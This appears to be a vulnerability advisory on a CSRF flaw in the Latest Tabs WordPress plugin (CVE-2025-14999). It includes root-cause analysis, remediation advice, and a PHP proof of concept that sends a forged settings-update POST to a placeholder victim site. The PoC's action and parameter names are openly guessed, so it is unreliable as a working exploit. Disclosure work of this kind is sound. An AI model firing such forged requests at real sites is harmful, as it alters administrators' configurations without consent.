Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14999: Latest Tabs <= 1.5 – Cross-Site Request Forgery to Plugin's Settings Update (kento-latest-tabs)

Severity Medium (CVSS 4.3)
CWE 352
Vulnerable Version 1.5
Patched Version
Disclosed January 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14999 (metadata-based):
This vulnerability is a Cross-Site Request Forgery (CSRF) flaw in the Latest Tabs WordPress plugin, affecting all versions up to and including 1.5. The vulnerability resides in the plugin’s settings update handler, allowing unauthenticated attackers to modify plugin configurations by tricking an administrator into performing an action like clicking a malicious link.

Atomic Edge research indicates the root cause is missing or incorrect nonce validation on the plugin’s settings update handler. The vulnerability description explicitly points to a missing nonce check in `admin-page.php`. This conclusion is directly stated in the CVE description. The CWE classification of 352 (Cross-Site Request Forgery) confirms the failure to verify the origin and intent of a request before performing a state-changing action.

The exploitation method involves an attacker crafting a malicious web page or link that sends a forged HTTP POST request to the WordPress admin endpoint responsible for updating the Latest Tabs plugin settings. The attacker must lure a logged-in administrator to interact with this malicious content. The request would target the specific AJAX action or admin-post handler the plugin registers for its settings updates, which lacks the required nonce parameter for validation.

Remediation requires adding proper nonce verification to the settings update handler. The plugin must generate a unique nonce when rendering the settings form and validate that same nonce before processing any update requests. This is a standard WordPress security practice for all administrative actions. The fix should also include a capability check to ensure the requesting user has appropriate permissions, though the CSRF flaw primarily concerns the missing nonce.

Successful exploitation allows an attacker to modify the plugin’s settings. The CVSS vector indicates a low impact on integrity (I:L) with no effect on confidentiality or availability. The specific impact depends on the configurable settings, which could include changing displayed content, modifying layout parameters, or altering other front-end behaviors controlled by the plugin. This does not grant direct administrative access or code execution.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14999 - Latest Tabs <= 1.5 - Cross-Site Request Forgery to Plugin's Settings Update
<?php
// CONFIGURATION
$target_url = 'https://victim-site.com/wp-admin/admin-post.php'; // Common admin handler
// $target_url = 'https://victim-site.com/wp-admin/admin-ajax.php'; // Alternative endpoint

// ASSUMPTIONS (based on WordPress plugin patterns and CVE description):
// 1. The plugin uses admin-post.php or admin-ajax.php for settings updates.
// 2. The vulnerable action parameter is derived from the plugin slug 'kento-latest-tabs'.
// 3. The parameter for the new setting value is named generically (e.g., 'settings').
// 4. No nonce parameter ('_wpnonce') is required due to the vulnerability.

$post_data = array(
    'action' => 'kento_latest_tabs_save_settings', // Inferred action hook name
    'settings' => 'malicious_config_value', // Injected setting payload
    // '_wpnonce' => 'missing' // This parameter's absence is the vulnerability
);

$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// The following headers simulate a request from a user's browser session
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/x-www-form-urlencoded',
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
));
// In a real CSRF attack, this request would be triggered by the victim's browser, not cURL.
// This script demonstrates the forged request structure.

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Response Code: $http_coden";
echo "Response: $responsen";
// A successful exploitation attempt might return a redirect (302) or a success message.
?>

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